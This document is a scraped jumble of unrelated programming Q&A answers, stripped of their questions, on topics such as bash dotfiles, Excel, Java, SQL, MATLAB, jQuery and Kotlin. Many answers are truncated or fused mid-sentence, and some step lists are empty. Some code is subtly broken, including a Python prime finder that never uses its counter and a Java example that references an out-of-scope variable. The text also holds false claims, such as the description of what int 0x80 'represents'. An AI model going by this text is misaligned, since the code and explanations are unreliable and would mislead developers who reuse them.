(If 1 works) can you have a simple sample style and see whether this is getting applied (and visible in the console)?
I had the exact same problem. I deleted (and forgot that I had deleted) oraociei11.dll after compiling the application. And it was giving this error while trying to execute. So when it cant find the dll that oraociei11.dll, it shows this error. There may be other cases when it gives this error, but this seems to be one of them.
Check out http://mywiki.wooledge.org/DotFiles for an excellent resource on the topic aside from man bash
.
Summary:
~/.bash_profile
or ~/.profile
is read and executed. Since everything you run from your login shell inherits the login shell's environment, you should put all your environment variables in there. Like LESS
, PATH
, MANPATH
, LC_*
, ... For an example, see: My .profile
~/.bashrc
, not /.profile
or ~/.bash_profile
, for this exact reason, so in there define everything that only applies to bash. That's functions, aliases, bash-only variables like HISTSIZE (this is not an environment variable, don't export it!), shell options with set
and shopt
, etc. For an example, see: My .bashrc
~/.bashrc
but only ~/.profile
or ~/.bash_profile
, so you should source that one manually from the latter. You'll see me do that in my ~/.profile
too: source ~/.bashrc
.You can change it in iOS without opening Xcode by editing file *project/ios/Runner/info.plist. Set <key>CFBundleDisplayName</key>
to the string that you want as your name.
For Android, change the app name from the Android folder, in the AndroidManifest.xml file, android/app/src/main. Let the android label refer to the name you prefer, for example,
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
<application
android:label="test"
// The rest of the code
</application>
</manifest>
Okay found a simple way to do this in Excel 2003 through 2007. Open a blank xls workbook. Then go to Data menu, import external data. Select your csv file. Go through the wizard and then in "column data format" select any column that needs to be forced to "text". This will import that entire column as a text format preventing Excel from trying to treat any specific cells as a date.
You can achieve this by using cssSelector
// Use of List web elements:
String cssSelectorOfLoginButton="input[type='button'][id='login']";
//****Add cssSelector of your 1st webelement
//List<WebElement> button
=driver.findElements(By.cssSelector(cssSelectorOfLoginButton));
button.get(0).click();
I hope this work for you
If the branch that your stashed changes are based on has changed in the meantime, this command may be useful:
git diff stash@{0}^!
This compares the stash against the commit it is based on.
Is Java smart enough to skip checking bool2 and bool2 if bool1 was evaluated to false?
Its not a matter of being smart, its a requirement specified in the language. Otherwise you couldn't write expressions like.
if(s != null && s.length() > 0)
or
if(s == null || s.length() == 0)
BTW if you use &
and |
it will always evaluate both sides of the expression.
Documentation on UISwitch says:
[mySwitch setOn:NO];
In Interface Builder, select your switch and in the Attributes inspector you'll find State which can be set to on or off.
var sels = //Here is your array of SELECTs
var json = { };
for(var i = 0, l = sels.length; i < l; i++) {
json[sels[i].id] = sels[i].value;
}
int arr[] = new int[15];
The variable arr
holds a memory address. At the memory address, there are 15 consecutive ints in a row. They can be referenced with index 0 to 14 inclusive.
In php i can just do this arr[]=22; this will automatically add 22 to the next empty index of array.
There is no concept of 'next' when dealing with arrays.
One important thing that I think you are missing is that as soon as the array is created, all elements of the array already exist. They are uninitialized, but they all do exist already. So you aren't 'filling' the elements of the array as you go, they are already filled, just with uninitialized values. There is no way to test for an uninitialized element in an array.
It sounds like you want to use a data structure such as a queue or stack or vector.
Variable names can be found in the globals() and locals() dicts. But they won't give you what you're looking for above. "bla" will contain the value of each item of my_list, not the variable.
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if (!isMultipart) {
return;
}
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(MAX_MEMORY_SIZE);
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
String uploadFolder = getServletContext().getRealPath("")
+ File.separator + DATA_DIRECTORY;//DATA_DIRECTORY is directory where you upload this file on the server
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setSizeMax(MAX_REQUEST_SIZE);//MAX_REQUEST_SIZE is the size which size you prefer
And use <form enctype="multipart/form-data">
and use <input type="file">
in the html
Its a really old thread, but here is my take on it. Rather than 2 different clauses, one greater than and less than. I use this below syntax for selecting records from A date. If you want a date range then previous answers are the way to go.
SELECT * FROM TABLE_NAME WHERE
DATEDIFF(DAY, DATEADD(DAY, X , CURRENT_TIMESTAMP), <column_name>) = 0
In the above case X will be -1 for yesterday's records
What's wrong with the standard stuff?
JSONObject jsonObject = new JSONObject(someJsonString);
JSONArray jsonArray = jsonObject.getJSONArray("someJsonArray");
String value = jsonArray.optJSONObject(i).getString("someJsonValue");
You don't need the "eval" even. Just put a dollar sign in front of the string:
cmd="ls"
$cmd
There's not always an updater between versions, depending on the version you're starting from and what you're updating to. If that happens, download the full installer and reinstall Android Studio.
As @nutsch implies, Excel won't do what you need directly, so you have to copy your data from the pivot table to somewhere else first. Rather than using copy and then paste values, however, a better way for many purposes is to create some hidden columns or a whole hidden sheet that copies values using simple formulae. The copy-paste approach isn't very useful when the original pivot table gets refreshed.
For instance, if Sheet1 contains the original pivot table, then:
=Sheet1!A1
into Sheet2!A1=IF(Sheet1!A1="","",Sheet1!A1)
instead.We started finding some machines with IE 11 not playing video (via flash) after we set the emulation mode of our app (web browser control) to 110001. Adding the meta tag to our htm files worked for us.
There's also oct2py which can call .m files within python
https://pypi.python.org/pypi/oct2py
It requires GNU Octave, which is highly compatible with MATLAB.
From the Jenkins wiki:
The JVM launch parameters of these Windows services are controlled by an XML file jenkins.xml and jenkins-slave.xml respectively. These files can be found in $JENKINS_HOME and in the slave root directory respectively, after you've install them as Windows services.
The file format should be self-explanatory. Tweak the arguments for example to give JVM a bigger memory.
https://wiki.jenkins-ci.org/display/JENKINS/Installing+Jenkins+as+a+Windows+service
I've been down this road and eventually opted for a hardware data scope that does non-instrusive in-line monitoring. The software solutions that I tried didn't work for me. If you had a spare PC you could probably build one, albeit rather bulky. This software data scope may work, as might this, but I haven't tried either.
@liquide's answer works great.
System.IO.File.Copy(inputFilePath, printerPath);
Which I found from the Zebra's ZPL Programmer's Guide Volume 1 (2005)
Found this post that may help: http://social.msdn.microsoft.com/forums/en-US/Vsexpressvc/thread/7c274008-80eb-42a0-a79b-95f5afbf6528/
Or shortly, afxwin.h is MFC and MFC is not included in the free version of VC++ (Express Edition).
Universal apps seem to work a bit differently; it doesn't have all the power of full-featured XAML. What worked for me is:
Just for fun I whipped up a little templated class to help with this and published it to the MSDN Samples pages. The extra bits let me optionally override the names of the enums and to let me hide some of the enums. My code looks an awful like like Nick's (above), which I wish I had seen earlier.
Use the HAVING clause and GROUP By the fields that make the row unique
The below will find
all users that have more than one payment per day with the same account number
SELECT
user_id ,
COUNT(*) count
FROM
PAYMENT
GROUP BY
account,
user_id ,
date
HAVING
COUNT(*) > 1
Update If you want to only include those that have a distinct ZIP you can get a distinct set first and then perform you HAVING/GROUP BY
SELECT
user_id,
account_no ,
date,
COUNT(*)
FROM
(SELECT DISTINCT
user_id,
account_no ,
zip,
date
FROM
payment
)
payment
GROUP BY
user_id,
account_no ,
date
HAVING COUNT(*) > 1
You are allocating your string on the stack, and then returning a pointer to it. When your function returns, any stack allocations become invalid; the pointer now points to a region on the stack that is likely to be overwritten the next time a function is called.
In order to do what you're trying to do, you need to do one of the following:
malloc
or similar, then return that pointer. The caller will then need to call free
when it is done with the memory.Here is the way to do it:
#!/bin/sh
abort()
{
echo >&2 '
***************
*** ABORTED ***
***************
'
echo "An error occurred. Exiting..." >&2
exit 1
}
trap 'abort' 0
set -e
# Add your script below....
# If an error occurs, the abort() function will be called.
#----------------------------------------------------------
# ===> Your script goes here
# Done!
trap : 0
echo >&2 '
************
*** DONE ***
************
'
Thanks To FuzzyWuzzy , set the following code ( Quick & Dirty Example for 1920x1080 screen resolution - without automatic width and height calculation or function use etc ) in AutoHotKey to achive the following :
v_cmd = c:\temp\1st_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
SetTitleMatchMode 2
SetTitleMatchMode Fast
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, 0, 0,1920,500
v_cmd = c:\temp\2nd_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, 0, 500,960,400
v_cmd = c:\temp\3rd_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, 960, 500,960,400
SMALL EDIT same code with Auto X / Y screen size calculation [ 4 monitors ], yet, can be used for 3 / 2 monitors as well.
Screen_X = %A_ScreenWidth%
Screen_Y = %A_ScreenHeight%
v_cmd = c:\temp\1st_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
SetTitleMatchMode 2
SetTitleMatchMode Fast
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, 0, 0,Screen_X/2,Screen_Y/2
v_cmd = c:\temp\2nd_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, Screen_X/2, 0,Screen_X/2,Screen_Y/2
v_cmd = c:\temp\3rd_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, 0, Screen_Y/2,Screen_X/2,Screen_Y/2
v_cmd = c:\temp\4th_Monitor.ps1
Run, Powershell.exe -executionpolicy remotesigned -File %v_cmd%
WinWait, PowerShell
Sleep, 1000
;A = Active window - [x,y,width,height]
WinMove A,, Screen_X/2, Screen_Y/2,Screen_X/2,Screen_Y/2
You could use the following. It supports Bootstrap 3.x above.
<img src="..." alt="..." class="img-responsive center-block" />
Make sure you switch the SHELL first:
SHELL ["powershell", "-Command", "$ErrorActionPreference = 'Stop'; $ProgressPreference = 'SilentlyContinue';"]
RUN [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
RUN Invoke-WebRequest -UseBasicParsing -Uri 'https://github.com/git-for-windows/git/releases/download/v2.25.1.windows.1/Git-2.25.1-64-bit.exe' -OutFile 'outfile.exe'
There is no easy way. If you want a reliable, cross-browser solution, you'd have to build a lookup table of date, and time format strings, by culture. To format a date, parse the corresponding format string, extract the relevant parts from the date, i.e. day, month, year, and append them together.
This is essentially what Microsoft does with their AJAX library, as shown in @no's answer.
Check out Joda, which simplifies date/time calculations (Joda is also the basis of the new standard Java date/time apis, so you'll be learning a soon-to-be-standard API).
EDIT: Java 8 has something very similar and is worth checking out.
e.g.
LocalDate birthdate = new LocalDate (1970, 1, 20);
LocalDate now = new LocalDate();
Years age = Years.yearsBetween(birthdate, now);
which is as simple as you could want. The pre-Java 8 stuff is (as you've identified) somewhat unintuitive.
If you are using c# on the desktop, you can use SimpleMapi. That way it will be sent using the default mail client, and the user has the option of reviewing the message before sending, just like mailto:
.
To use it you add the Simple-MAPI.NET package (it's 13Kb), and run:
var mapi = new SimpleMapi();
mapi.AddRecipient(null, address, false);
mapi.Attach(path);
//mapi.Logon(ParentForm.Handle); //not really necessary
mapi.Send(subject, body, true);
In adition to Ian Boyd's answer:
Also CultureInfo
implements this interface and can be used in your case. So you could parse a French date string for example; you could use
var ci = new CultureInfo("fr-FR");
DateTime dt = DateTime.ParseExact(yourDateInputString, yourFormatString, ci);
Update: Given that this post is quite old, and I've modified this utility a lot for my own use during that time, I thought I should post a new version. My newest code can be found on The MathWorks File Exchange: dirPlus.m
. You can also get the source from GitHub.
I made a number of improvements. It now gives you options to prepend the full path or return just the file name (incorporated from Doresoom and Oz Radiano) and apply a regular expression pattern to the file names (incorporated from Peter D). In addition, I added the ability to apply a validation function to each file, allowing you to select them based on criteria other than just their names (i.e. file size, content, creation date, etc.).
NOTE: In newer versions of MATLAB (R2016b and later), the dir
function has recursive search capabilities! So you can do this to get a list of all *.m
files in all subfolders of the current folder:
dirData = dir('**/*.m');
Here's a function that searches recursively through all subdirectories of a given directory, collecting a list of all file names it finds:
function fileList = getAllFiles(dirName)
dirData = dir(dirName); %# Get the data for the current directory
dirIndex = [dirData.isdir]; %# Find the index for directories
fileList = {dirData(~dirIndex).name}'; %'# Get a list of the files
if ~isempty(fileList)
fileList = cellfun(@(x) fullfile(dirName,x),... %# Prepend path to files
fileList,'UniformOutput',false);
end
subDirs = {dirData(dirIndex).name}; %# Get a list of the subdirectories
validIndex = ~ismember(subDirs,{'.','..'}); %# Find index of subdirectories
%# that are not '.' or '..'
for iDir = find(validIndex) %# Loop over valid subdirectories
nextDir = fullfile(dirName,subDirs{iDir}); %# Get the subdirectory path
fileList = [fileList; getAllFiles(nextDir)]; %# Recursively call getAllFiles
end
end
After saving the above function somewhere on your MATLAB path, you can call it in the following way:
fileList = getAllFiles('D:\dic');
First :
$ sudo gem install colored2
And,you should input your password
Then :
$ sudo gem update --system
Appear Updating rubygems-update ERROR: While executing gem ... (OpenSSL::SSL::SSLError) hostname "gems.ruby-china.org" does not match the server certificate
Then:
$ rvm -v
$ rvm get head
Last What language do you want to use?? [ Swift / ObjC ]
ObjC
Would you like to include a demo application with your library? [ Yes / No ]
Yes
Which testing frameworks will you use? [ Specta / Kiwi / None ]
None
Would you like to do view based testing? [ Yes / No ]
No
What is your class prefix?
XMG
Running pod install on your new library.
$splitPos = strpos($url, "?/");
if ($splitPos !== false) {
$url = substr($url, 0, $splitPos) . "?" . substr($url, $splitPos + 2);
}
I've had this error as a result of trying to use a cloned VM that had the same SID as the domain. The two options to fix it were: sysprep (or rebuild) the database server OR dcpromo the DC down and back up to change the domain SID.
Well, "return valid();"
is a string, so that's correct.
If you want to check if it has a function attached instead, you could try this:
formId.onsubmit = function (){ /* */ }
if(typeof formId.onsubmit == "function"){
alert("it's a function!");
}
I thought that the best answer was the one above to just do this.
jQuery('.numbersOnly').keyup(function () {
this.value = this.value.replace(/[^0-9\.]/g,'');
});
but I agree that it is a bit of a pain that the arrow keys and delete button snap cursor to the end of the string ( and because of that it was kicked back to me in testing)
I added in a simple change
$('.numbersOnly').keyup(function () {
if (this.value != this.value.replace(/[^0-9\.]/g, '')) {
this.value = this.value.replace(/[^0-9\.]/g, '');
}
});
this way if there is any button hit that is not going to cause the text to be changed just ignore it. With this you can hit arrows and delete without jumping to the end but it clears out any non numeric text.
var json = { ... };
var key = "foo";
delete json[key]; // Removes json.foo from the dictionary.
You can use splice to remove elements from an array.
Start with looking up the z-value for your desired confidence interval from a look-up table. The confidence interval is then mean +/- z*sigma
, where sigma
is the estimated standard deviation of your sample mean, given by sigma = s / sqrt(n)
, where s
is the standard deviation computed from your sample data and n
is your sample size.
How much a stack can grow?
You can use a VM option named ss
to adjust the maximum stack size. A VM option is usually passed using -X{option}. So you can use java -Xss1M
to set the maximum of stack size to 1M.
Each thread has at least one stack. Some Java Virtual Machines(JVM) put Java stack(Java method calls) and native stack(Native method calls in VM) into one stack, and perform stack unwinding using a Managed to Native Frame, known as M2NFrame. Some JVMs keep two stacks separately. The Xss
set the size of the Java Stack in most cases.
For many JVMs, they put different default values for stack size on different platforms.
Can we limit this growth?
When a method call occurs, a new stack frame will be created on the stack of that thread. The stack will contain local variables, parameters, return address, etc. In java, you can never put an object on stack, only object reference can be stored on stack. Since array is also an object in java, arrays are also not stored on stack. So, if you reduce the amount of your local primitive variables, parameters by grouping them into objects, you can reduce the space on stack. Actually, the fact that we cannot explicitly put objects on java stack affects the performance some time(cache miss).
Does stack has some default minimum value or default maximum value?
As I said before, different VMs are different, and may change over versions. See here.
how does garbage collection work on stack?
Garbage collections in Java is a hot topic. Garbage collection aims to collect unreachable objects in the heap. So that needs a definition of 'reachable.' Everything on the stack constitutes part of the root set references in GC. Everything that is reachable from every stack of every thread should be considered as live. There are some other root set references, like Thread objects and some class objects.
This is only a very vague use of stack on GC. Currently most JVMs are using a generational GC. This article gives brief introduction about Java GC. And recently I read a very good article talking about the GC on .net. The GC on oracle jvm is quite similar so I think that might also help you.
import time
maxnum=input("You want the prime number of 1 through....")
n=2
prime=[]
start=time.time()
while n<=maxnum:
d=2.0
pr=True
cntr=0
while d<n**.5:
if n%d==0:
pr=False
else:
break
d=d+1
if cntr==0:
prime.append(n)
#print n
n=n+1
print "Total time:",time.time()-start
Steps (1) Just Select your range, rows or column or array , (2) Press ctrl+H , (3 a) then in the find type a space (3 b) in the replace do not enter anything, (4)then just click on replace all..... you are done.
Use ampersand to specify the parent selector.
SCSS syntax:
p {
margin: 2em auto;
> a {
color: red;
}
&:before {
content: "";
}
&:after {
content: "* * *";
}
}
Check this script: https://github.com/jakubthedeveloper/DockerIps
It returns container names with their IP's in the following format:
abc_nginx 172.21.0.4
abc_php 172.21.0.5
abc_phpmyadmin 172.21.0.3
abc_mysql 172.21.0.2
Maybe you are looking for something like this:
StackFrame frame = new StackFrame(1);
frame.GetMethod().Name; //Gets the current method name
MethodBase method = frame.GetMethod();
method.DeclaringType.Name //Gets the current class name
Just change few snippet(use array_merge function):-
$options['inputs']=array_merge($options['inputs'], $new_input);
jstat -gccapacity javapid (ex. stat -gccapacity 28745)
jstat -gccapacity javapid gaps frames (ex. stat -gccapacity 28745 550 10 )
Sample O/P of above command
NGCMN NGCMX NGC S0C
87040.0 1397760.0 1327616.0 107520.0
NGCMN Minimum new generation capacity (KB).
NGCMX Maximum new generation capacity (KB).
NGC Current new generation capacity (KB).
Get more details about this at http://docs.oracle.com/javase/1.5.0/docs/tooldocs/share/jstat.html
You can actually index directly into the Attributes collection (if you are using C# not VB):
foreach (XmlNode xNode in nodeListName)
{
XmlNode parent = xNode.ParentNode;
if (parent.Attributes != null
&& parent.Attributes["split"] != null)
{
parentSplit = parent.Attributes["split"].Value;
}
}
Besides needing to escape the quote (by using double quotes), you've also confused the names of variables: You're using @var and @strip, instead of @CleanString and @strStrip...
dict(rank = int(lst[0]),
grade = str(lst[1]),
channel=str(lst[2])),
videos = float(lst[3].replace(",", " ")),
subscribers = float(lst[4].replace(",", "")),
views = float(lst[5].replace(",", "")))
You can call run-time commands from java for both Windows and Linux.
import java.io.*;
public class Test{
public static void main(String[] args)
{
try
{
Process process = Runtime.getRuntime().exec("pwd"); // for Linux
//Process process = Runtime.getRuntime().exec("cmd /c dir"); //for Windows
process.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line=reader.readLine())!=null)
{
System.out.println(line);
}
}
catch(Exception e)
{
System.out.println(e);
}
finally
{
process.destroy();
}
}
}
Hope it Helps.. :)
We can calculate using mid point of line formula,
centre (x,y) = new Point((boundRect.tl().x+boundRect.br().x)/2,(boundRect.tl().y+boundRect.br().y)/2)
using System.Linq;
list.Where(x=> x.Name == nameToExtract);
Edit: misread question (now all matches)
Was looking for the solution of a similar problem. Thanks to the answer provided by Davlet and Cupcake I was able to solve my problem.
Posting this answer here since I think this is the intended question
So I guess generally the problem that people like me face is what to do when a repo is cloned by another user on a server and that user is no longer associated with the repo.
How to pull from the repo without using the credentials of the old user ?
You edit the .git/config file of your repo.
and change
url = https://<old-username>@github.com/abc/repo.git/
to
url = https://<new-username>@github.com/abc/repo.git/
After saving the changes, from now onwards git pull will pull data while using credentials of the new user.
I hope this helps anyone with a similar problem
int is nothing but an interruption i.e the processor will put its current execution to hold.
0x80 is nothing but a system call or the kernel call. i.e the system function will be executed.
To be specific 0x80 represents rt_sigtimedwait/init_module/restart_sys it varies from architecture to architecture.
For more details refer https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
In order to avoid this kind of ClassCastException, if you have:
class A
class B extends A
You can define a constructor in B that takes an object of A. This way we can do the "cast" e.g.:
public B(A a) {
super(a.arg1, a.arg2); //arg1 and arg2 must be, at least, protected in class A
// If B class has more attributes, then you would initilize them here
}
The above solutions may not be efficient if you want to plot multiple ggplot plots using a loop (e.g. as asked here: Creating multiple plots in ggplot with different Y-axis values using a loop), which is a desired step in analyzing the unknown (or large) data-sets (e.g., when you want to plot Counts of all variables in a data-set).
The code below shows how to do that using the mentioned above 'multiplot()', the source of which is here: http://www.cookbook-r.com/Graphs/Multiple_graphs_on_one_page_(ggplot2):
plotAllCounts <- function (dt){
plots <- list();
for(i in 1:ncol(dt)) {
strX = names(dt)[i]
print(sprintf("%i: strX = %s", i, strX))
plots[[i]] <- ggplot(dt) + xlab(strX) +
geom_point(aes_string(strX),stat="count")
}
columnsToPlot <- floor(sqrt(ncol(dt)))
multiplot(plotlist = plots, cols = columnsToPlot)
}
Now run the function - to get Counts for all variables printed using ggplot on one page
dt = ggplot2::diamonds
plotAllCounts(dt)
One things to note is that:
using aes(get(strX))
, which you would normally use in loops when working with ggplot
, in the above code instead of aes_string(strX)
will NOT draw the desired plots. Instead, it will plot the last plot many times. I have not figured out why - it may have to do the aes
and aes_string
are called in ggplot
.
Otherwise, hope you'll find the function useful.
Default values are only used if the arguments are not specified. In your case you did specify the arguments - both were supplied, with a value of NULL. (Yes, in this case NULL is considered a real value :-). Try:
EXEC TEST()
Share and enjoy.
Addendum: The default values for procedure parameters are certainly buried in a system table somewhere (see the SYS.ALL_ARGUMENTS
view), but getting the default value out of the view involves extracting text from a LONG field, and is probably going to prove to be more painful than it's worth. The easy way is to add some code to the procedure:
CREATE OR REPLACE PROCEDURE TEST(X IN VARCHAR2 DEFAULT 'P',
Y IN NUMBER DEFAULT 1)
AS
varX VARCHAR2(32767) := NVL(X, 'P');
varY NUMBER := NVL(Y, 1);
BEGIN
DBMS_OUTPUT.PUT_LINE('X=' || varX || ' -- ' || 'Y=' || varY);
END TEST;
We recently encountered this error, root cause turned out to be an expired SSL cert on the IIS server. The Load Balancer (infront of our web tier) found the SSL expired, and instead of handling the HTTP traffic over to one of the IIS servers, started showing this error. So basically IIS unable to server requests, for a totally different reason :)
I had to do something very similar to find out why my iPhone was bleeding cellular network data, eating 80% of my 500Mb allowance in a couple of days.
Unfortunately I had to packet sniff whilst on 3G/4G and couldn't rely on being on wireless. So if you need an "industrial" solution then this is how you sniff all traffic (not just http) on any network.
Basic recipe:
Detailed'ish instructions:
Note that the above implementation is not security focussed it's simply about getting a detailed packet capture of all of your iPhone's traffic on 3G/4G/Wireless networks
I'd normally write the code without them. IMO, dead code tends to indicate sloppiness and/or lack of understanding.
Of course, I'd also consider something like:
char const *rets[] = {"blah", "foo", "bar"};
return rets[something];
Edit: even with the edited post, this general idea can work fine:
char const *rets[] = { "blah", "foo", "bar", "bar", "foo"};
if ((unsigned)something < 5)
return rets[something]
return "foobar";
At some point, especially if the input values are sparse (e.g., 1, 100, 1000 and 10000), you want a sparse array instead. You can implement that as either a tree or a map reasonably well (though, of course, a switch still works in this case as well).
I think you should use some 3d party server to support the JWT token and there is no out of the box JWT support in WEB API 2.
However there is an OWIN project for supporting some format of signed token (not JWT). It works as a reduced OAuth protocol to provide just a simple form of authentication for a web site.
You can read more about it e.g. here.
It's rather long, but most parts are details with controllers and ASP.NET Identity that you might not need at all. Most important are
Step 9: Add support for OAuth Bearer Tokens Generation
Step 12: Testing the Back-end API
There you can read how to set up endpoint (e.g. "/token") that you can access from frontend (and details on the format of the request).
Other steps provide details on how to connect that endpoint to the database, etc. and you can chose the parts that you require.
In addition to mark4o's answer, FreeBSD also has
const char* getprogname(void)
It should also be available in macOS. It's available in GNU/Linux through libbsd.
In this context, the word "stub" is used in place of "mock", but for the sake of clarity and precision, the author should have used "mock", because "mock" is a sort of stub, but for testing. To avoid further confusion, we need to define what a stub is.
In the general context, a stub is a piece of program (typically a function or an object) that encapsulates the complexity of invoking another program (usually located on another machine, VM, or process - but not always, it can also be a local object). Because the actual program to invoke is usually not located on the same memory space, invoking it requires many operations such as addressing, performing the actual remote invocation, marshalling/serializing the data/arguments to be passed (and same with the potential result), maybe even dealing with authentication/security, and so on. Note that in some contexts, stubs are also called proxies (such as dynamic proxies in Java).
A mock is a very specific and restrictive kind of stub, because a mock is a replacement of another function or object for testing. In practice we often use mocks as local programs (functions or objects) to replace a remote program in the test environment. In any case, the mock may simulate the actual behaviour of the replaced program in a restricted context.
Most famous kinds of stubs are obviously for distributed programming, when needing to invoke remote procedures (RPC) or remote objects (RMI, CORBA). Most distributed programming frameworks/libraries automate the generation of stubs so that you don't have to write them manually. Stubs can be generated from an interface definition, written with IDL for instance (but you can also use any language to define interfaces).
Typically, in RPC, RMI, CORBA, and so on, one distinguishes client-side stubs, which mostly take care of marshaling/serializing the arguments and performing the remote invocation, and server-side stubs, which mostly take care of unmarshaling/deserializing the arguments and actually execute the remote function/method. Obviously, client stubs are located on the client side, while sever stubs (often called skeletons) are located on the server side.
Writing good efficient and generic stubs becomes quite challenging when dealing with object references. Most distributed object frameworks such as RMI and CORBA deal with distributed objects references, but that's something most programmers avoid in REST environments for instance. Typically, in REST environments, JavaScript programmers make simple stub functions to encapsulate the AJAX invocations (object serialization being supported by JSON.parse
and JSON.stringify
). The Swagger Codegen project provides an extensive support for automatically generating REST stubs in various languages.
Make #site_nav_global_primary
positioned as fixed and set width to 100 % and desired height.
You need jQuery Form Observe plugin. That's what you are looking for.
You can simply open the phpmyadmin page from your browser, then open any existing database -> go to Privileges tab, click on your root user and then a popup window will appear, you can set your password there.. Hope this Helps.
You need the following tags to get a WhatsApp image preview:
<meta property="og:title" content="Website name" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://url.com/" />
<meta property="og:description" content="Website description" />
<meta property="og:image" content="image.png" />
<meta property="og:image:width" content="600" />
<meta property="og:image:height" content="600" />
As Facebook docs says, if you specify the og:image size it will be fetched fastly instead of asynchronously otherwise.
PNG is recommended for image format. 600x600 pixels at least is recommended.
If you could use List
as a data structure to store your data, instead of using Map
to store the result in the value of the Map, you can use following snippet and store the result in the same object.
Here is a Node class:
private class Node {
public int row, col, distance;
public Node(int row, int col, int distance) {
this.row = row;
this.col = col;
this.distance = distance;
}
public boolean equals(Object o) {
return (o instanceof Node &&
row == ((Node) o).row &&
col == ((Node) o).col);
}
}
If you store your result in distance variable and the items in the list are checked based on their coordinates, you can use the following to change the distance to a new one with the help of lastIndexOf method as long as you only need to store one element for each data:
List<Node> nodeList;
nodeList = new ArrayList<>(Arrays.asList(new Node(1, 2, 1), new Node(3, 4, 5)));
Node tempNode = new Node(1, 2, 10);
if(nodeList.contains(tempNode))
nodeList.get(nodeList.lastIndexOf(tempNode)).distance += tempNode.distance;
It is basically reimplementing Set
whose items can be accessed and changed.
Where it is documented:
From the API documentation under the has_many association in "Module ActiveRecord::Associations::ClassMethods"
collection.build(attributes = {}, …) Returns one or more new objects of the collection type that have been instantiated with attributes and linked to this object through a foreign key, but have not yet been saved. Note: This only works if an associated object already exists, not if it‘s nil!
The answer to building in the opposite direction is a slightly altered syntax. In your example with the dogs,
Class Dog
has_many :tags
belongs_to :person
end
Class Person
has_many :dogs
end
d = Dog.new
d.build_person(:attributes => "go", :here => "like normal")
or even
t = Tag.new
t.build_dog(:name => "Rover", :breed => "Maltese")
You can also use create_dog to have it saved instantly (much like the corresponding "create" method you can call on the collection)
How is rails smart enough? It's magic (or more accurately, I just don't know, would love to find out!)
The solution with align-self: flex-end;
didn't work for me but this one did in case you want to use flex:
-------------------
|heading 1 |
|heading 2 |
|paragraph text |
| |
| |
| |
|link button |
-------------------
Note: When "running the code snippet" you have to scroll down to see the link at the bottom.
.content {_x000D_
display: flex;_x000D_
justify-content: space-between;_x000D_
flex-direction: column;_x000D_
height: 300px;_x000D_
}_x000D_
_x000D_
.content .upper {_x000D_
justify-content: normal;_x000D_
}_x000D_
_x000D_
/* Just to show container boundaries */_x000D_
.content .upper, .content .bottom, .content .upper > * {_x000D_
border: 1px solid #ccc;_x000D_
}
_x000D_
<div class="content">_x000D_
<div class="upper">_x000D_
<h1>heading 1</h1>_x000D_
<h2>heading 2</h2>_x000D_
<p>paragraph text</p>_x000D_
</div>_x000D_
_x000D_
<div class="bottom">_x000D_
<a href="/" class="button">link button</a>_x000D_
</div>_x000D_
</div>
_x000D_
I have read all answers, but this link was more clear explanation for me about difference between CPU(Processor) and Core. So I'm leaving here some notes from there.
The main difference between CPU and Core is that the CPU is an electronic circuit inside the computer that carries out instruction to perform arithmetic, logical, control and input/output operations while the core is an execution unit inside the CPU that receives and executes instructions.
One of the causes for this error is insufficient permissions (Authenticated Users) in your local folder. To give permission for 'Authenticated Users' Open the security tab in properties of your folder, Edit and Add 'Authenticated Users' group and Apply changes.
Once this was done I was able to run services even through network service account (before this I was only able to run with Local system account).
Create a BroadcastReceiver
and register it to receive ACTION_BOOT_COMPLETED. You also need RECEIVE_BOOT_COMPLETED permission.
Read: Listening For and Broadcasting Global Messages, and Setting Alarms
If you use Kotlin, it supports these nullability annotations in its compiler and will prevent you from passing a null to a java method that requires a non-null argument. Event though this question was originally targeted at Java, I mention this Kotlin feature because it is specifically targeted at these Java annotation and the question was "Is there a way to make these annotations more strictly enforced and/or propagate further?" and this feature does make these annotation more strictly enforced.
Java class using @NotNull
annotation
public class MyJavaClazz {
public void foo(@NotNull String myString) {
// will result in an NPE if myString is null
myString.hashCode();
}
}
Kotlin class calling Java class and passing null for the argument annotated with @NotNull
class MyKotlinClazz {
fun foo() {
MyJavaClazz().foo(null)
}
}
Kotlin compiler error enforcing the @NotNull
annotation.
Error:(5, 27) Kotlin: Null can not be a value of a non-null type String
see: http://kotlinlang.org/docs/reference/java-interop.html#nullability-annotations
Well you can also do something interesting like this and do your job by using for loop
#suppose you have variable name
name = "Mr.Suryaa"
for index in range ( len ( name ) ):
print ( name[index] ) #just like c and c++
Answer is
M r . S u r y a a
However since range() create a list of the values which is sequence thus you can directly use the name
for e in name:
print(e)
This also produces the same result and also looks better and works with any sequence like list, tuple, and dictionary.
We have used tow Built in Functions ( BIFs in Python Community )
1) range() - range() BIF is used to create indexes Example
for i in range ( 5 ) :
can produce 0 , 1 , 2 , 3 , 4
2) len() - len() BIF is used to find out the length of given string
